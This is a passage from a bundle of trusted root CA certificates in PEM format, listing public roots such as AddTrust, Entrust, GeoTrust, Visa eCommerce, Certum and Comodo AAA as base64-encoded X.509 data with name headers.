BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wgZkGA1UdIwSBkTCBjoAUrb2YejS0Jvf6xCZU7wO94CTL VBqhc6RxMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRk VHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENB IFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBALCb4IUlwtYj4g+WBpKdQZic2YR5gdkeWxQHIzZl j7DYd7usQWxHYINRsPkyPef89iYTx4AWpb9a/IfPeHmJIZriTAcKhjW88t5RxNKWt9x+Tu5w/Rw5 6wwCURQtjr0W4MHfRnXnJK3s9EK0hZNwEGe6nQY1ShjTK3rMUUKhemPR5ruhxSvCNr4TDea9Y355 e6cJDUCrat2PisP29owaQgVR1EX1n6diIWgVIEM8med8vSTYqZEXc4g/VhsxOBi0cQ+azcgOno4u G+GMmIPLHzHxREzGBHNJdmAPx/i9F4BrLunMTA5amnkPIAou1Z5jJh5VkpTYghdae9C8x49OhgQ= -----END CERTIFICATE----- AddTrust Public Services Root ============================= -----BEGIN CERTIFICATE----- MIIEFTCCAv2gAwIBAgIBATANBgkqhkiG9w0BAQUFADBkMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSAwHgYDVQQDExdBZGRU cnVzdCBQdWJsaWMgQ0EgUm9vdDAeFw0wMDA1MzAxMDQxNTBaFw0yMDA1MzAxMDQxNTBaMGQxCzAJ BgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQIE5l dHdvcmsxIDAeBgNVBAMTF0FkZFRydXN0IFB1YmxpYyBDQSBSb290MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA6Rowj4OIFMEg2Dybjxt+A3S72mnTRqX4jsIMEZBRpS9mVEBV6tsfSlbu nyNu9DnLoblv8n75XYcmYZ4c+OLspoH4IcUkzBEMP9smcnrHAZcHF/nXGCwwfQ56HmIexkvA/X1i d9NEHif2P0tEs7c42TkfYNVRknMDtABp4/MUTu7R3AnPdzRGULD4EfL+OHn3Bzn+UZKXC1sIXzSG Aa2Il+tmzV7R/9x98oTaunet3IAIx6eH1lWfl2royBFkuucZKT8Rs3iQhCBSWxHveNCD9tVIkNAw HM+A+WD+eeSI8t0A65RF62WUaUC6wNW0uLp9BBGo6zEFlpROWCGOn9Bg/QIDAQABo4HRMIHOMB0G A1UdDgQWBBSBPjfYkrAfd59ctKtzquf2NGAv+jALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBjgYDVR0jBIGGMIGDgBSBPjfYkrAfd59ctKtzquf2NGAv+qFopGYwZDELMAkGA1UEBhMCU0Ux FDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29yazEgMB4G A1UEAxMXQWRkVHJ1c3QgUHVibGljIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQADggEBAAP3FUr4 JNojVhaTdt02KLmuG7jD8WS6IBh4lSknVwW8fCr0uVFV2ocC3g8WFzH4qnkuCRO7r7IgGRLlk/lL +YPoRNWyQSW/iHVv/xD8SlTQX/D67zZzfRs2RcYhbbQVuE7PnFylPVoAjgbjPGsye/Kf8Lb93/Ao GEjwxrzQvzSAlsJKsW2Ox5BF3i9nrEUEo3rcVZLJR2bYGozH7ZxOmuASu7VqTITh4SINhwBk/ox9 Yjllpu9CtoAlEmEBqCQTcAARJl/6NVDFSMwGR+gn2HCNX2TmoUQmXiLsks3/QppEIW1cxeMiHV9H EufOX1362KqxMy3ZdvJOOjMMK7MtkAY= -----END CERTIFICATE----- AddTrust Qualified Certificates Root ==================================== -----BEGIN CERTIFICATE----- MIIEHjCCAwagAwIBAgIBATANBgkqhkiG9w0BAQUFADBnMQswCQYDVQQGEwJTRTEUMBIGA1UEChML QWRkVHJ1c3QgQUIxHTAbBgNVBAsTFEFkZFRydXN0IFRUUCBOZXR3b3JrMSMwIQYDVQQDExpBZGRU cnVzdCBRdWFsaWZpZWQgQ0EgUm9vdDAeFw0wMDA1MzAxMDQ0NTBaFw0yMDA1MzAxMDQ0NTBaMGcx CzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEdMBsGA1UECxMUQWRkVHJ1c3QgVFRQ IE5ldHdvcmsxIzAhBgNVBAMTGkFkZFRydXN0IFF1YWxpZmllZCBDQSBSb290MIIBIjANBgkqhkiG 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5B6a/twJWoekn0e+EV+vhDTbYjx5eLfpMLXsDBwqxBb/4Oxx 64r1EW7tTw2R0hIYLUkVAcKkIhPHEWT/IhKauY5cLwjPcWqzZwFZ8V1G87B4pfYOQnrjfxvM0PC3 KP0q6p6zsLkEqv32x7SxuCqg+1jxGaBvcCV+PmlKfw8i2O+tCBGaKZnhqkRFmhJePp1tUvznoD1o L/BLcHwTOK28FSXx1s6rosAx1i+f4P8UWfyEk9mHfExUE+uf0S0R+Bg6Ot4l2ffTQO2kBhLEO+GR wVY18BTcZTYJbqukB8c10cIDMzZbdSZtQvESa0NvS3GU+jQd7RNuyoB/mC9suWXY6QIDAQABo4HU MIHRMB0GA1UdDgQWBBQ5lYtii1zJ1IC6WA+XPxUIQ8yYpzALBgNVHQ8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zCBkQYDVR0jBIGJMIGGgBQ5lYtii1zJ1IC6WA+XPxUIQ8yYp6FrpGkwZzELMAkGA1UE BhMCU0UxFDASBgNVBAoTC0FkZFRydXN0IEFCMR0wGwYDVQQLExRBZGRUcnVzdCBUVFAgTmV0d29y azEjMCEGA1UEAxMaQWRkVHJ1c3QgUXVhbGlmaWVkIENBIFJvb3SCAQEwDQYJKoZIhvcNAQEFBQAD ggEBABmrder4i2VhlRO6aQTvhsoToMeqT2QbPxj2qC0sVY8FtzDqQmodwCVRLae/DLPt7wh/bDxG GuoYQ992zPlmhpwsaPXpF/gxsxjE1kh9I0xowX67ARRvxdlu3rsEQmr49lx95dr6h+sNNVJn0J6X dgWTP5XHAeZpVTh/EGGZyeNfpso+gmNIquIISD6q8rKFYqa0p9m9N5xotS1WfbC3P6CxB9bpT9ze RXEwMn8bLgn5v1Kh7sKAPgZcLlVAwRv1cEWw3F369nJad9Jjzc9YiQBCYz95OdBEsIJuQRno3eDB iFrRHnGTHyQwdOUeqN48Jzd/g66ed8/wMLH/S5noxqE= -----END CERTIFICATE----- Entrust Root Certification Authority ==================================== -----BEGIN CERTIFICATE----- MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0 MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68 j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1 MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0 tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8 -----END CERTIFICATE----- RSA Security 2048 v3 ==================== -----BEGIN CERTIFICATE----- MIIDYTCCAkmgAwIBAgIQCgEBAQAAAnwAAAAKAAAAAjANBgkqhkiG9w0BAQUFADA6MRkwFwYDVQQK ExBSU0EgU2VjdXJpdHkgSW5jMR0wGwYDVQQLExRSU0EgU2VjdXJpdHkgMjA0OCBWMzAeFw0wMTAy MjIyMDM5MjNaFw0yNjAyMjIyMDM5MjNaMDoxGTAXBgNVBAoTEFJTQSBTZWN1cml0eSBJbmMxHTAb BgNVBAsTFFJTQSBTZWN1cml0eSAyMDQ4IFYzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC AQEAt49VcdKA3XtpeafwGFAyPGJn9gqVB93mG/Oe2dJBVGutn3y+Gc37RqtBaB4Y6lXIL5F4iSj7 Jylg/9+PjDvJSZu1pJTOAeo+tWN7fyb9Gd3AIb2E0S1PRsNO3Ng3OTsor8udGuorryGlwSMiuLgb WhOHV4PR8CDn6E8jQrAApX2J6elhc5SYcSa8LWrg903w8bYqODGBDSnhAMFRD0xS+ARaqn1y07iH KrtjEAMqs6FPDVpeRrc9DvV07Jmf+T0kgYim3WBU6JU2PcYJk5qjEoAAVZkZR73QpXzDuvsf9/UP +Ky5tfQ3mBMY3oVbtwyCO4dvlTlYMNpuAWgXIszACwIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/ MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBQHw1EwpKrpRa41JPr/JCwz0LGdjDAdBgNVHQ4E FgQUB8NRMKSq6UWuNST6/yQsM9CxnYwwDQYJKoZIhvcNAQEFBQADggEBAF8+hnZuuDU8TjYcHnmY v/3VEhF5Ug7uMYm83X/50cYVIeiKAVQNOvtUudZj1LGqlk2iQk3UUx+LEN5/Zb5gEydxiKRz44Rj 0aRV4VCT5hsOedBnvEbIvz8XDZXmxpBp3ue0L96VfdASPz0+f00/FGj1EVDVwfSQpQgdMWD/YIwj VAqv/qFuxdF6Kmh4zx6CCiC0H63lhbJqaHVOrSU3lIW+vaHU6rcMSzyd6BIA8F+sDeGscGNz9395 nzIlQnQFgCi/vcEkllgVsRch6YlL2weIZ/QVrXA+L02FO8K32/6YaCOJ4XQP3vTFhGMpG8zLB8kA pKnXwiJPZ9d37CAFYd4= -----END CERTIFICATE----- GeoTrust Global CA ================== -----BEGIN CERTIFICATE----- MIIDVDCCAjygAwIBAgIDAjRWMA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQK Ew1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMDIwNTIxMDQw MDAwWhcNMjIwNTIxMDQwMDAwWjBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEA2swYYzD99BcjGlZ+W988bDjkcbd4kdS8odhM+KhDtgPpTSEHCIjaWC9mOSm9BXiLnTjo BbdqfnGk5sRgprDvgOSJKA+eJdbtg/OtppHHmMlCGDUUna2YRpIuT8rxh0PBFpVXLVDviS2Aelet 8u5fa9IAjbkU+BQVNdnARqN7csiRv8lVK83Qlz6cJmTM386DGXHKTubU1XupGc1V3sjs0l44U+Vc T4wt/lAjNvxm5suOpDkZALeVAjmRCw7+OC7RHQWa9k0+bw8HHa8sHo9gOeL6NlMTOdReJivbPagU vTLrGAMoUgRx5aszPeE4uwc2hGKceeoWMPRfwCvocWvk+QIDAQABo1MwUTAPBgNVHRMBAf8EBTAD AQH/MB0GA1UdDgQWBBTAephojYn7qwVkDBF9qn1luMrMTjAfBgNVHSMEGDAWgBTAephojYn7qwVk DBF9qn1luMrMTjANBgkqhkiG9w0BAQUFAAOCAQEANeMpauUvXVSOKVCUn5kaFOSPeCpilKInZ57Q zxpeR+nBsqTP3UEaBU6bS+5Kb1VSsyShNwrrZHYqLizz/Tt1kL/6cdjHPTfStQWVYrmm3ok9Nns4 d0iXrKYgjy6myQzCsplFAMfOEVEiIuCl6rYVSAlk6l5PdPcFPseKUgzbFbS9bZvlxrFUaKnjaZC2 mqUPuLk/IH2uSrW4nOQdtqvmlKXBx4Ot2/Unhw4EbNX/3aBd7YdStysVAq45pmp06drE57xNNB6p XE0zX5IJL4hmXXeXxx12E6nV5fEWCRE11azbJHFwLJhWC9kXtNHjUStedejV0NxPNO3CBWaAocvm Mw== -----END CERTIFICATE----- GeoTrust Global CA 2 ==================== -----BEGIN CERTIFICATE----- MIIDZjCCAk6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwHhcNMDQwMzA0MDUw MDAwWhcNMTkwMzA0MDUwMDAwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5j LjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFsIENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDvPE1APRDfO1MA4Wf+lGAVPoWI8YkNkMgoI5kF6CsgncbzYEbYwbLVjDHZ3CB5JIG/ NTL8Y2nbsSpr7iFY8gjpeMtvy/wWUsiRxP89c96xPqfCfWbB9X5SJBri1WeR0IIQ13hLTytCOb1k LUCgsBDTOEhGiKEMuzozKmKY+wCdE1l/bztyqu6mD4b5BWHqZ38MN5aL5mkWRxHCJ1kDs6ZgwiFA Vvqgx306E+PsV8ez1q6diYD3Aecs9pYrEw15LNnA5IZ7S4wMcoKK+xfNAGw6EzywhIdLFnopsk/b HdQL82Y3vdj2V7teJHq4PIu5+pIaGoSe2HSPqht/XvT+RSIhAgMBAAGjYzBhMA8GA1UdEwEB/wQF MAMBAf8wHQYDVR0OBBYEFHE4NvICMVNHK266ZUapEBVYIAUJMB8GA1UdIwQYMBaAFHE4NvICMVNH K266ZUapEBVYIAUJMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQUFAAOCAQEAA/e1K6tdEPx7 srJerJsOflN4WT5CBP51o62sgU7XAotexC3IUnbHLB/8gTKY0UvGkpMzNTEv/NgdRN3ggX+d6Yvh ZJFiCzkIjKx0nVnZellSlxG5FntvRdOW2TF9AjYPnDtuzywNA0ZF66D0f0hExghAzN4bcLUprbqL OzRldRtxIR0sFAqwlpW41uryZfspuk/qkZN0abby/+Ea0AzRdoXLiiW9l14sbxWZJue2Kf8i7MkC x1YAzUm5s2x7UwQa4qjJqhIFI8LO57sEAszAR6LkxCkvW0VXiVHuPOtSCP8HNR6fNWpHSlaY0VqF H4z1Ir+rzoPz4iIprn2DQKi6bA== -----END CERTIFICATE----- GeoTrust Universal CA ===================== -----BEGIN CERTIFICATE----- MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEeMBwGA1UEAxMVR2VvVHJ1c3QgVW5pdmVyc2FsIENBMB4XDTA0MDMwNDA1 MDAwMFoXDTI5MDMwNDA1MDAwMFowRTELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IElu Yy4xHjAcBgNVBAMTFUdlb1RydXN0IFVuaXZlcnNhbCBDQTCCAiIwDQYJKoZIhvcNAQEBBQADggIP ADCCAgoCggIBAKYVVaCjxuAfjJ0hUNfBvitbtaSeodlyWL0AG0y/YckUHUWCq8YdgNY96xCcOq9t JPi8cQGeBvV8Xx7BDlXKg5pZMK4ZyzBIle0iN430SppyZj6tlcDgFgDgEB8rMQ7XlFTTQjOgNB0e RXbdT8oYN+yFFXoZCPzVx5zw8qkuEKmS5j1YPakWaDwvdSEYfyh3peFhF7em6fgemdtzbvQKoiFs 7tqqhZJmr/Z6a4LauiIINQ/PQvE1+mrufislzDoR5G2vc7J2Ha3QsnhnGqQ5HFELZ1aD/ThdDc7d 8Lsrlh/eezJS/R27tQahsiFepdaVaH/wmZ7cRQg+59IJDTWU3YBOU5fXtQlEIGQWFwMCTFMNaN7V qnJNk22CDtucvc+081xdVHppCZbW2xHBjXWotM85yM48vCR85mLK4b19p71XZQvk/iXttmkQ3Cga Rr0BHdCXteGYO8A3ZNY9lO4L4fUorgtWv3GLIylBjobFS1J72HGrH4oVpjuDWtdYAVHGTEHZf9hB Z3KiKN9gg6meyHv8U3NyWfWTehd2Ds735VzZC1U0oqpbtWpU5xPKV+yXbfReBi9Fi1jUIxaS5BZu KGNZMN9QAZxjiRqf2xeUgnA3wySemkfWWspOqGmJch+RbNt+nhutxx9z3SxPGWX9f5NAEC7S8O08 ni4oPmkmM8V7AgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNq7LqqwDLiIJlF0 XG0D08DYj3rWMB8GA1UdIwQYMBaAFNq7LqqwDLiIJlF0XG0D08DYj3rWMA4GA1UdDwEB/wQEAwIB hjANBgkqhkiG9w0BAQUFAAOCAgEAMXjmx7XfuJRAyXHEqDXsRh3ChfMoWIawC/yOsjmPRFWrZIRc aanQmjg8+uUfNeVE44B5lGiku8SfPeE0zTBGi1QrlaXv9z+ZhP015s8xxtxqv6fXIwjhmF7DWgh2 qaavdy+3YL1ERmrvl/9zlcGO6JP7/TG37FcREUWbMPEaiDnBTzynANXH/KttgCJwpQzgXQQpAvvL oJHRfNbDflDVnVi+QTjruXU8FdmbyUqDWcDaU/0zuzYYm4UPFd3uLax2k7nZAY1IEKj79TiG8dsK xr2EoyNB3tZ3b4XUhRxQ4K5RirqNPnbiucon8l+f725ZDQbYKxek0nxru18UGkiPGkzns0ccjkxF KyDuSN/n3QmOGKjaQI2SJhFTYXNd673nxE0pN2HrrDktZy4W1vUAg4WhzH92xH3kt0tm7wNFYGm2 DFKWkoRepqO1pD4r2czYG0eq8kTaT/kD6PAUyz/zg97QwVTjt+gKN02LIFkDMBmhLMi9ER/frslK xfMnZmaGrGiR/9nmUxwPi1xpZQomyB40w11Re9epnAahNt3ViZS82eQtDF4JbAiXfKM9fJP/P6EU p8+1Xevb2xzEdt+Iub1FBZUbrvxGakyvSOPOrg/SfuvmbJxPgWp6ZKy7PtXny3YuxadIwVyQD8vI P/rmMuGNG2+k5o7Y+SlIis5z/iw= -----END CERTIFICATE----- GeoTrust Universal CA 2 ======================= -----BEGIN CERTIFICATE----- MIIFbDCCA1SgAwIBAgIBATANBgkqhkiG9w0BAQUFADBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMN R2VvVHJ1c3QgSW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwHhcNMDQwMzA0 MDUwMDAwWhcNMjkwMzA0MDUwMDAwWjBHMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3Qg SW5jLjEgMB4GA1UEAxMXR2VvVHJ1c3QgVW5pdmVyc2FsIENBIDIwggIiMA0GCSqGSIb3DQEBAQUA A4ICDwAwggIKAoICAQCzVFLByT7y2dyxUxpZKeexw0Uo5dfR7cXFS6GqdHtXr0om/Nj1XqduGdt0 DE81WzILAePb63p3NeqqWuDW6KFXlPCQo3RWlEQwAx5cTiuFJnSCegx2oG9NzkEtoBUGFF+3Qs17 j1hhNNwqCPkuwwGmIkQcTAeC5lvO0Ep8BNMZcyfwqph/Lq9O64ceJHdqXbboW0W63MOhBW9Wjo8Q JqVJwy7XQYci4E+GymC16qFjwAGXEHm9ADwSbSsVsaxLse4YuU6W3Nx2/zu+z18DwPw76L5GG//a QMJS9/7jOvdqdzXQ2o3rXhhqMcceujwbKNZrVMaqW9eiLBsZzKIC9ptZvTdrhrVtgrrY6slWvKk2 WP0+GfPtDCapkzj4T8FdIgbQl+rhrcZV4IErKIM6+vR7IVEAvlI4zs1meaj0gVbi0IMJR1FbUGrP 20gaXT73y/Zl92zxlfgCOzJWgjl6W70viRu/obTo/3+NjN8D8WBOWBFM66M/ECuDmgFz2ZRthAAn ZqzwcEAJQpKtT5MNYQlRJNiS1QuUYbKHsu3/mjX/hVTK7URDrBs8FmtISgocQIgfksILAAX/8sgC SqSqqcyZlpwvWOB94b67B9xfBHJcMTTD7F8t4D1kkCLm0ey4Lt1ZrtmhN79UNdxzMk+MBB4zsslG 8dhcyFVQyWi9qLo2CQIDAQABo2MwYTAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR281Xh+qQ2 +/CfXGJx7Tz0RzgQKzAfBgNVHSMEGDAWgBR281Xh+qQ2+/CfXGJx7Tz0RzgQKzAOBgNVHQ8BAf8E BAMCAYYwDQYJKoZIhvcNAQEFBQADggIBAGbBxiPz2eAubl/oz66wsCVNK/g7WJtAJDday6sWSf+z dXkzoS9tcBc0kf5nfo/sm+VegqlVHy/c1FEHEv6sFj4sNcZj/NwQ6w2jqtB8zNHQL1EuxBRa3ugZ 4T7GzKQp5y6EqgYweHZUcyiYWTjgAA1i00J9IZ+uPTqM1fp3DRgrFg5fNuH8KrUwJM/gYwx7WBr+ mbpCErGR9Hxo4sjoryzqyX6uuyo9DRXcNJW2GHSoag/HtPQTxORb7QrSpJdMKu0vbBKJPfEncKpq A1Ihn0CoZ1Dy81of398j9tx4TuaYT1U6U+Pv8vSfx3zYWK8pIpe44L2RLrB27FcRz+8pRPPphXpg Y+RdM4kX2TGq2tbzGDVyz4crL2MjhF2EjD9XoIj8mZEoJmmZ1I+XRL6O1UixpCgp8RW04eWe3fiP pm8m1wk8OhwRDqZsN/etRIcsKMfYdIKz0G9KV7s1KSegi+ghp4dkNl3M2Basx7InQJJVOCiNUW7d FGdTbHFcJoRNdVq2fmBWqU2t+5sel/MN2dKXVHfaPRK34B7vCAas+YWH6aLcr34YEoP9VhdBLtUp gn2Z9DH2canPLAEnpQW5qrJITirvn5NSUZU8UnOOVkwXQMAJKOSLakhT2+zNVVXxxvjpoixMptEm X36vWkzaH6byHCx+rgIW0lbQL1dTR+iS -----END CERTIFICATE----- Visa eCommerce Root =================== -----BEGIN CERTIFICATE----- MIIDojCCAoqgAwIBAgIQE4Y1TR0/BvLB+WUF1ZAcYjANBgkqhkiG9w0BAQUFADBrMQswCQYDVQQG EwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMmVmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2Ug QXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNvbW1lcmNlIFJvb3QwHhcNMDIwNjI2MDIxODM2 WhcNMjIwNjI0MDAxNjEyWjBrMQswCQYDVQQGEwJVUzENMAsGA1UEChMEVklTQTEvMC0GA1UECxMm VmlzYSBJbnRlcm5hdGlvbmFsIFNlcnZpY2UgQXNzb2NpYXRpb24xHDAaBgNVBAMTE1Zpc2EgZUNv bW1lcmNlIFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvV95WHm6h2mCxlCfL F9sHP4CFT8icttD0b0/Pmdjh28JIXDqsOTPHH2qLJj0rNfVIsZHBAk4ElpF7sDPwsRROEW+1QK8b RaVK7362rPKgH1g/EkZgPI2h4H3PVz4zHvtH8aoVlwdVZqW1LS7YgFmypw23RuwhY/81q6UCzyr0 TP579ZRdhE2o8mCP2w4lPJ9zcc+U30rq299yOIzzlr3xF7zSujtFWsan9sYXiwGd/BmoKoMWuDpI /k4+oKsGGelT84ATB+0tvz8KPFUgOSwsAGl0lUq8ILKpeeUYiZGo3BxN77t+Nwtd/jmliFKMAGzs GHxBvfaLdXe6YJ2E5/4tAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEG MB0GA1UdDgQWBBQVOIMPPyw/cDMezUb+B4wg4NfDtzANBgkqhkiG9w0BAQUFAAOCAQEAX/FBfXxc CLkr4NWSR/pnXKUTwwMhmytMiUbPWU3J/qVAtmPN3XEolWcRzCSs00Rsca4BIGsDoo8Ytyk6feUW YFN4PMCvFYP3j1IzJL1kk5fui/fbGKhtcbP3LBfQdCVp9/5rPJS+TUtBjE7ic9DjkCJzQ83z7+pz zkWKsKZJ/0x9nXGIxHYdkFsd7v3M9+79YKWxehZx0RbQfBI8bGmX265fOZpwLwU8GUYEmSA20GBu YQa7FkKMcPcw++DbZqMAAb3mLNqRX6BGi01qnD093QVG/na/oAo85ADmJ7f/hC3euiInlhBx6yLt 398znM/jra6O1I7mT1GvFpLgXPYHDw== -----END CERTIFICATE----- Certum Root CA ============== -----BEGIN CERTIFICATE----- MIIDDDCCAfSgAwIBAgIDAQAgMA0GCSqGSIb3DQEBBQUAMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQK ExJVbml6ZXRvIFNwLiB6IG8uby4xEjAQBgNVBAMTCUNlcnR1bSBDQTAeFw0wMjA2MTExMDQ2Mzla Fw0yNzA2MTExMDQ2MzlaMD4xCzAJBgNVBAYTAlBMMRswGQYDVQQKExJVbml6ZXRvIFNwLiB6IG8u by4xEjAQBgNVBAMTCUNlcnR1bSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM6x wS7TT3zNJc4YPk/EjG+AanPIW1H4m9LcuwBcsaD8dQPugfCI7iNS6eYVM42sLQnFdvkrOYCJ5JdL kKWoePhzQ3ukYbDYWMzhbGZ+nPMJXlVjhNWo7/OxLjBos8Q82KxujZlakE403Daaj4GIULdtlkIJ 89eVgw1BS7Bqa/j8D35in2fE7SZfECYPCE/wpFcozo+47UX2bu4lXapuOb7kky/ZR6By6/qmW6/K Uz/iDsaWVhFu9+lmqSbYf5VT7QqFiLpPKaVCjF62/IUgAKpoC6EahQGcxEZjgoi2IrHu/qpGWX7P NSzVttpd90gzFFS269lvzs2I1qsb2pY7HVkCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkq hkiG9w0BAQUFAAOCAQEAuI3O7+cUus/usESSbLQ5PqKEbq24IXfS1HeCh+YgQYHu4vgRt2PRFze+ GXYkHAQaTOs9qmdvLdTN/mUxcMUbpgIKumB7bVjCmkn+YzILa+M6wKyrO7Do0wlRjBCDxjTgxSvg GrZgFCdsMneMvLJymM/NzD+5yCRCFNZX/OYmQ6kd5YCQzgNUKD73P9P4Te1qCjqTE5s7FCMTY5w/ 0YcneeVMUeMBrYVdGjux1XMQpNPyvG5k9VpWkKjHDkx0Dy5xO/fIR/RpbxXyEV6DHpx8Uq79AtoS qFlnGNu8cN2bsWntgM6JQEhqDjXKKWYVIZQs6GAqm4VKQPNriiTsBhYscw== -----END CERTIFICATE----- Comodo AAA Services root ======================== -----BEGIN CERTIFICATE----- MIIEMjCCAxqgAwIBAgIBATANBgkqhkiG9w0BAQUFADB7MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEhMB8GA1UEAwwYQUFBIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAwMDAw MFoXDTI4MTIzMTIzNTk1OVowezELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFuY2hl c3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxITAfBgNV BAMMGEFBQSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL5AnfRu4ep2hxxNRUSOvkbIgwadwSr+GB+O5AL686tdUIoWMQuaBtDFcCLNSS1UY8y2bmhG 